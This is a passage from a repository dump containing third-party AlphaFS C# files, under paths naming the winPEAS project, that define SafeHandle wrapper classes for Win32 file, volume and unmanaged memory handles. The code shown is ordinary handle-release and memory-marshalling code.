    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\nusing Microsoft.Win32.SafeHandles;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Represents a wrapper class for a handle used by the FindFirstFile/FindNextFile Win32 API functions.</summary>\n   [SecurityCritical]\n   public sealed class SafeFindFileHandle : SafeHandleZeroOrMinusOneIsInvalid\n   {\n      /// <summary>Constructor that prevents a default instance of this class from being created.</summary>\n      private SafeFindFileHandle() : base(true)\n      {\n      }\n\n      /// <summary>Initializes a new instance of the <see cref=\"SafeFindFileHandle\"/> class.</summary>\n      /// <param name=\"handle\">The handle.</param>\n      /// <param name=\"callerHandle\"><c>true</c> to reliably release the handle during the finalization phase; <c>false</c> to prevent reliable release (not recommended).</param>\n      public SafeFindFileHandle(IntPtr handle, bool callerHandle) : base(callerHandle)\n      {\n         SetHandle(handle);\n      }\n\n      \n      /// <summary>When overridden in a derived class, executes the code required to free the handle.</summary>\n      /// <returns>\n      /// <c>true</c> if the handle is released successfully; otherwise, in the event of a catastrophic failure,\n      /// <c>false</c>. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant.\n      /// </returns>\n      protected override bool ReleaseHandle()\n      {\n         return NativeMethods.FindClose(handle);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeFindVolumeHandle.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\nusing Microsoft.Win32.SafeHandles;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Represents a wrapper class for a handle used by the FindFirstVolume/FindNextVolume methods of the Win32 API.</summary>\n   [SecurityCritical]\n   public sealed class SafeFindVolumeHandle : SafeHandleZeroOrMinusOneIsInvalid\n   {\n      /// <summary>Constructor that prevents a default instance of this class from being created.</summary>\n      private SafeFindVolumeHandle() : base(true)\n      {\n      }\n\n      /// <summary>Initializes a new instance of the <see cref=\"SafeFindVolumeHandle\"/> class.</summary>\n      /// <param name=\"handle\">The handle.</param>\n      /// <param name=\"callerHandle\"><c>true</c> to reliably release the handle during the finalization phase; <c>false</c> to prevent reliable release (not recommended).</param>\n      public SafeFindVolumeHandle(IntPtr handle, bool callerHandle) : base(callerHandle)\n      {\n         SetHandle(handle);\n      }\n\n\n      /// <summary>When overridden in a derived class, executes the code required to free the handle.</summary>\n      /// <returns>\n      /// <c>true</c> if the handle is released successfully; otherwise, in the event of a catastrophic failure,\n      /// <c>false</c>. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant.\n      /// </returns>\n      protected override bool ReleaseHandle()\n      {\n         return NativeMethods.FindVolumeClose(handle);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeFindVolumeMountPointHandle.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\nusing Microsoft.Win32.SafeHandles;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Represents a wrapper class for a handle used by the FindFirstVolumeMountPoint/FindNextVolumeMountPoint methods of the Win32 API.</summary>\n   [SecurityCritical]\n   internal sealed class SafeFindVolumeMountPointHandle : SafeHandleZeroOrMinusOneIsInvalid\n   {\n      /// <summary>Constructor that prevents a default instance of this class from being created.</summary>\n      private SafeFindVolumeMountPointHandle() : base(true)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"SafeFindVolumeMountPointHandle\"/> class.</summary>\n      /// <param name=\"handle\">The handle.</param>\n      /// <param name=\"callerHandle\"><c>true</c> to reliably release the handle during the finalization phase; <c>false</c> to prevent reliable release (not recommended).</param>\n      public SafeFindVolumeMountPointHandle(IntPtr handle, bool callerHandle) : base(callerHandle)\n      {\n         SetHandle(handle);\n      }\n\n\n      /// <summary>When overridden in a derived class, executes the code required to free the handle.</summary>\n      /// <returns>\n      /// <c>true</c> if the handle is released successfully; otherwise, in the event of a catastrophic failure,\n      /// <c>false</c>. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant.\n      /// </returns>\n      protected override bool ReleaseHandle()\n      {\n         return NativeMethods.FindVolumeMountPointClose(handle);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeGlobalMemoryBufferHandle.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Text;\n\nnamespace Alphaleonis.Win32\n{\n   /// <summary>Represents a block of native memory of a specified size allocated using the LocalAlloc function from Kernel32.dll.</summary>\n   internal sealed class SafeGlobalMemoryBufferHandle : SafeNativeMemoryBufferHandle\n   {\n      /// <summary>Initializes a new instance of the <see cref=\"SafeGlobalMemoryBufferHandle\"/> class, with zero IntPtr.</summary>\n      public SafeGlobalMemoryBufferHandle() : base(true)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"SafeGlobalMemoryBufferHandle\"/> class allocating the specified number of bytes of unmanaged memory.</summary>\n      /// <param name=\"capacity\">The capacity.</param>\n      public SafeGlobalMemoryBufferHandle(int capacity) : base(capacity)\n      {\n         SetHandle(Marshal.AllocHGlobal(capacity));\n      }\n\n\n      private SafeGlobalMemoryBufferHandle(IntPtr buffer, int capacity) : base(buffer, capacity)\n      {\n      }\n\n\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      public static SafeGlobalMemoryBufferHandle FromLong(long? value)\n      {\n         if (value.HasValue)\n         {\n            var safeBuffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(typeof(long)));\n\n            Marshal.WriteInt64(safeBuffer.handle, value.Value);\n\n            return safeBuffer;\n         }\n\n         return new SafeGlobalMemoryBufferHandle();\n      }\n\n\n      public static SafeGlobalMemoryBufferHandle FromStringUni(string str)\n      {\n         if (str == null)\n            throw new ArgumentNullException(\"str\");\n\n         return new SafeGlobalMemoryBufferHandle(Marshal.StringToHGlobalUni(str), str.Length * UnicodeEncoding.CharSize + UnicodeEncoding.CharSize);\n      }\n\n\n      /// <summary>When overridden in a derived class, executes the code required to free the handle.</summary>\n      /// <returns>\n      /// <c>true</c> if the handle is released successfully; otherwise, in the event of a catastrophic failure,\n      /// <c>false</c>. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant.\n      /// </returns>\n      protected override bool ReleaseHandle()\n      {\n         Marshal.FreeHGlobal(handle);\n         return true;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeKernelTransactionHandle.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Provides a concrete implementation of SafeHandle supporting transactions.</summary>\n   internal class SafeKernelTransactionHandle : SafeHandleMinusOneIsInvalid\n   {\n      /// <summary>Initializes a new instance of the <see cref=\"SafeKernelTransactionHandle\"/> class.</summary>      \n      public SafeKernelTransactionHandle() : base(true)\n      {\n      }\n\n\n      /// <summary>When overridden in a derived class, executes the code required to free the handle.</summary>\n      /// <returns>\n      /// <c>true</c> if the handle is released successfully; otherwise, in the event of a catastrophic failure,\n      /// <c>false</c>. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant.\n      /// </returns>\n      [SecurityCritical]\n      protected override bool ReleaseHandle()\n      {\n         return NativeMethods.CloseHandle(handle);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeLocalMemoryBufferHandle.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.InteropServices;\nusing Microsoft.Win32.SafeHandles;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Security\n{\n   /// <summary>An IntPtr wrapper which can be used as the result of a Marshal.AllocHGlobal operation.\n   /// <para>Calls Marshal.FreeHGlobal when disposed or finalized.</para>\n   /// </summary>\n   internal sealed class SafeLocalMemoryBufferHandle : SafeHandleZeroOrMinusOneIsInvalid\n   {\n      /// <summary>Initializes a new instance of the <see cref=\"SafeLocalMemoryBufferHandle\"/> class, with zero IntPtr.</summary>\n      public SafeLocalMemoryBufferHandle() : base(true)\n      {\n      }\n\n\n      /// <summary>Copies data from a one-dimensional, managed 8-bit unsigned integer array to the unmanaged memory pointer referenced by this instance.</summary>\n      /// <param name=\"source\">The one-dimensional array to copy from.</param>\n      /// <param name=\"startIndex\">The zero-based index into the array where Copy should start.</param>\n      /// <param name=\"length\">The number of array elements to copy.</param>      \n      public void CopyFrom(byte[] source, int startIndex, int length)\n      {\n         Marshal.Copy(source, startIndex, handle, length);\n      }\n      \n      \n      public void CopyTo(byte[] destination, int destinationOffset, int length)\n      {\n         if (destination == null)\n            throw new ArgumentNullException(\"destination\");\n\n         if (destinationOffset < 0)\n            throw new ArgumentOutOfRangeException(\"destinationOffset\", Resources.Negative_Destination_Offset);\n\n         if (length < 0)\n            throw new ArgumentOutOfRangeException(\"length\", Resources.Negative_Length);\n\n         if (destinationOffset + length > destination.Length)\n            throw new ArgumentException(Resources.Destination_Buffer_Not_Large_Enough, \"length\");\n\n         Marshal.Copy(handle, destination, destinationOffset, length);\n      }\n\n\n      public byte[] ToByteArray(int startIndex, int length)\n      {\n         if (IsInvalid)\n            return null;\n\n         var arr = new byte[length];\n         Marshal.Copy(handle, arr, startIndex, length);\n         return arr;\n      }\n\n\n      /// <summary>When overridden in a derived class, executes the code required to free the handle.</summary>\n      /// <returns>\n      /// <c>true</c> if the handle is released successfully; otherwise, in the event of a catastrophic failure,\n      /// <c>false</c>. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant.\n      /// </returns>\n      protected override bool ReleaseHandle()\n      {\n         return handle == IntPtr.Zero || NativeMethods.LocalFree(handle) == IntPtr.Zero;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeNativeMemoryBufferHandle.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Runtime.InteropServices;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32\n{\n   /// <summary>Base class for classes representing a block of unmanaged memory.</summary>\n   internal abstract class SafeNativeMemoryBufferHandle : SafeHandleZeroOrMinusOneIsInvalid\n   {\n      private readonly int m_capacity;\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"SafeNativeMemoryBufferHandle\"/> class, specifying the allocated capacity of the memory block.</summary>\n      /// <param name=\"callerHandle\"><c>true</c> to reliably release the handle during the finalization phase; <c>false</c> to prevent reliable release (not recommended).</param>\n      protected SafeNativeMemoryBufferHandle(bool callerHandle) : base(callerHandle)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"SafeNativeMemoryBufferHandle\"/> class, specifying the allocated capacity of the memory block.</summary>\n      /// <param name=\"capacity\">The capacity.</param>\n      protected SafeNativeMemoryBufferHandle(int capacity) : this(true)\n      {\n         m_capacity = capacity;\n      }\n\n\n      protected SafeNativeMemoryBufferHandle(IntPtr memory, int capacity) : this(capacity)\n      {\n         SetHandle(memory);\n      }\n\n\n      \n      \n      /// <summary>Gets the capacity. Only valid if this instance was created using a constructor that specifies the size,\n      /// it is not correct if this handle was returned by a native method using p/invoke.\n      /// </summary>\n      public int Capacity\n      {\n         get { return m_capacity; }\n      }\n\n\n\n\n      /// <summary>Copies data from a one-dimensional, managed 8-bit unsigned integer array to the unmanaged memory pointer referenced by this instance.</summary>\n      /// <param name=\"source\">The one-dimensional array to copy from. </param>\n      /// <param name=\"startIndex\">The zero-based index into the array where Copy should start.</param>\n      /// <param name=\"length\">The number of array elements to copy.</param>\n      public void CopyFrom(byte[] source, int startIndex, int length)\n      {\n         Marshal.Copy(source, startIndex, handle, length);\n      }\n\n\n      public void CopyFrom(char[] source, int startIndex, int length)\n      {\n         Marshal.Copy(source, startIndex, handle, length);\n      }\n\n\n      public void CopyFrom(char[] source, int startIndex, int length, int offset)\n      {\n         Marshal.Copy(source, startIndex, new IntPtr(handle.ToInt64() + offset), length);\n      }\n\n\n      /// <summary>Copies data from this unmanaged memory pointer to a managed 8-bit unsigned integer array.</summary>\n      /// <param name=\"sourceOffset\">The offset in the buffer to start copying from.</param>\n      /// <param name=\"destination\">The array to copy to.</param>\n      public void CopyTo(int sourceOffset, byte[] destination)\n      {\n         if (null == destination || destination.Length == 0)\n            throw new ArgumentNullException(\"destination\");\n\n         var length = destination.Length;\n\n         if (length > destination.Length)\n            throw new ArgumentException(Resources.Destination_Buffer_Not_Large_Enough, \"destination\");\n\n         if (length > Capacity)\n            throw new ArgumentOutOfRangeException(\"destination\", Resources.Source_OffsetAndLength_Outside_Bounds);\n\n         Marshal.Copy(new IntPtr(handle.ToInt64() + sourceOffset), destination, 0, length);\n      }\n\n\n      /// <summary>Copies data from an unmanaged memory pointer to a managed 8-bit unsigned integer array.</summary>\n      /// <param name=\"destination\">The array to copy to.</param>\n      /// <param name=\"destinationOffset\">The zero-based index in the destination array where copying should start.</param>\n      /// <param name=\"length\">The number of array elements to copy.</param>\n      public void CopyTo(byte[] destination, int destinationOffset, int length)\n      {\n         if (null == destination)\n            throw new ArgumentNullException(\"destination\");\n\n         if (destinationOffset < 0)\n            throw new ArgumentOutOfRangeException(\"destinationOffset\", Resources.Negative_Destination_Offset);\n\n         if (length < 0)\n            throw new ArgumentOutOfRangeException(\"length\", Resources.Negative_Length);\n\n         if (destinationOffset + length > destination.Length)\n            throw new ArgumentException(Resources.Destination_Buffer_Not_Large_Enough, \"length\");\n\n         if (length > Capacity)\n            throw new ArgumentOutOfRangeException(\"length\", Resources.Source_OffsetAndLength_Outside_Bounds);\n\n         Marshal.Copy(handle, destination, destinationOffset, length);\n      }\n\n\n      /// <summary>Copies data from this unmanaged memory pointer to a managed 8-bit unsigned integer array.</summary>\n      /// <param name=\"sourceOffset\">The offset in the buffer to start copying from.</param>\n      /// <param name=\"destination\">The array to copy to.</param>\n      /// <param name=\"destinationOffset\">The zero-based index in the destination array where copying should start.</param>\n      /// <param name=\"length\">The number of array elements to copy.</param>\n      public void CopyTo(int sourceOffset, byte[] destination, int destinationOffset, int length)\n      {\n         if (null == destination)\n            throw new ArgumentNullException(\"destination\");\n\n         if (destinationOffset < 0)\n            throw new ArgumentOutOfRangeException(\"destinationOffset\", Resources.Negative_Destination_Offset);\n\n         if (length < 0)\n            throw new ArgumentOutOfRangeException(\"length\", Resources.Negative_Length);\n\n         if (destinationOffset + length > destination.Length)\n            throw new ArgumentException(Resources.Destination_Buffer_Not_Large_Enough, \"length\");\n\n         if (length > Capacity)\n            throw new ArgumentOutOfRangeException(\"length\", Resources.Source_OffsetAndLength_Outside_Bounds);\n\n         Marshal.Copy(new IntPtr(handle.ToInt64() + sourceOffset), destination, destinationOffset, length);\n      }\n\n\n      public byte[] ToByteArray(int startIndex, int length)\n      {\n         if (IsInvalid)\n            return null;\n\n         var arr = new byte[length];\n         Marshal.Copy(handle, arr, startIndex, length);\n\n         return arr;\n      }\n\n\n      #region Write\n\n      public void WriteInt16(int offset, short value)\n      {\n         Marshal.WriteInt16(handle, offset, value);\n      }\n\n      public void WriteInt16(int offset, char value)\n      {\n         Marshal.WriteInt16(handle, offset, value);\n      }\n\n      public void WriteInt16(char value)\n      {\n         Marshal.WriteInt16(handle, value);\n      }\n\n      public void WriteInt16(short value)\n      {\n         Marshal.WriteInt16(handle, value);\n      }\n\n      public void WriteInt32(int offset, short value)\n      {\n         Marshal.WriteInt32(handle, offset, value);\n      }\n\n      public void WriteInt32(int value)\n      {\n         Marshal.WriteInt32(handle, value);\n      }\n\n      public void WriteInt64(int offset, long value)\n      {\n         Marshal.WriteInt64(handle, offset, value);\n      }\n\n      public void WriteInt64(long value)\n      {\n         Marshal.WriteInt64(handle, value);\n      }\n\n      public void WriteByte(int offset, byte value)\n      {\n         Marshal.WriteByte(handle, offset, value);\n      }\n\n      public void WriteByte(byte value)\n      {\n         Marshal.WriteByte(handle, value);\n      }\n\n      public void WriteIntPtr(int offset, IntPtr value)\n      {\n         Marshal.WriteIntPtr(handle, offset, value);\n      }\n\n      public void WriteIntPtr(IntPtr value)\n      {\n         Marshal.WriteIntPtr(handle, value);\n      }\n\n      #endregion // Write\n\n\n      #region Read\n\n      public byte ReadByte()\n      {\n         return Marshal.ReadByte(handle);\n      }\n\n      public byte ReadByte(int offset)\n      {\n         return Marshal.ReadByte(handle, offset);\n      }\n\n      public short ReadInt16()\n      {\n         return Marshal.ReadInt16(handle);\n      }\n\n      public short ReadInt16(int offset)\n      {\n         return Marshal.ReadInt16(handle, offset);\n      }\n\n      public int ReadInt32()\n      {\n         return Marshal.ReadInt32(handle);\n      }\n\n      public int ReadInt32(int offset)\n      {\n         return Marshal.ReadInt32(handle, offset);\n      }\n\n      public long ReadInt64()\n      {\n         return Marshal.ReadInt64(handle);\n      }\n\n      public long ReadInt64(int offset)\n      {\n         return Marshal.ReadInt64(handle, offset);\n      }\n\n      public IntPtr ReadIntPtr()\n      {\n         return Marshal.ReadIntPtr(handle);\n      }\n\n      public IntPtr ReadIntPtr(int offset)\n      {\n         return Marshal.ReadIntPtr(handle, offset);\n      }\n\n      #endregion // Read\n\n\n\n      /// <summary>Marshals data from a managed object to an unmanaged block of memory.</summary>\n      public void StructureToPtr(object structure, bool deleteOld)\n      {\n         Marshal.StructureToPtr(structure, handle, deleteOld);\n      }\n\n\n      /// <summary>Marshals data from an unmanaged block of memory to a newly allocated managed object of the specified type.</summary>\n      /// <returns>A managed object containing the data pointed to by the ptr parameter.</returns>\n      public T PtrToStructure<T>(int offset)\n      {\n         return (T) Marshal.PtrToStructure(new IntPtr(handle.ToInt64() + offset), typeof (T));\n      }\n\n\n      /// <summary>Allocates a managed System.String and copies a specified number of characters from an unmanaged ANSI string into it.</summary>\n      /// <returns>A managed string that holds a copy of the unmanaged string if the value of the ptr parameter is not null; otherwise, this method returns null.</returns>\n      public string PtrToStringAnsi(int offset)\n      {\n         return Marshal.PtrToStringAnsi(new IntPtr(handle.ToInt64() + offset));\n      }\n\n      /// <summary>Allocates a managed System.String and copies all characters up to the first null character from an unmanaged Unicode string into it.</summary>\n      /// <returns>A managed string that holds a copy of the unmanaged string if the value of the ptr parameter is not null; otherwise, this method returns null.</returns>\n      public string PtrToStringUni()\n      {\n         return Marshal.PtrToStringUni(handle);\n      }\n\n\n      /// <summary>Allocates a managed System.String and copies a specified number of characters from an unmanaged Unicode string into it.</summary>\n      /// <returns>A managed string that holds a copy of the unmanaged string if the value of the ptr parameter is not null; otherwise, this method returns null.</returns>\n      public string PtrToStringUni(int offset, int length)\n      {\n         return Marshal.PtrToStringUni(new IntPtr(handle.ToInt64() + offset), length);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeSetupDiClassDevsExHandle.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Represents a wrapper class for a handle used by the SetupDiGetClassDevs/SetupDiDestroyDeviceInfoList Win32 API functions.</summary>\n      [SecurityCritical]\n      public sealed class SafeSetupDiClassDevsExHandle : SafeHandleZeroOrMinusOneIsInvalid\n      {\n         /// <summary>Initializes a new instance of the <see cref=\"SafeSetupDiClassDevsExHandle\"/> class.</summary>\n         public SafeSetupDiClassDevsExHandle() : base(true)\n         {\n         }\n\n\n         /// <summary>When overridden in a derived class, executes the code required to free the handle.</summary>\n         /// <returns>\n         /// <c>true</c> if the handle is released successfully; otherwise, in the event of a catastrophic failure,\n         /// <c>false</c>. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant.\n         /// </returns>\n         protected override bool ReleaseHandle()\n         {\n            return SetupDiDestroyDeviceInfoList(handle);\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeTokenHandle.cs",
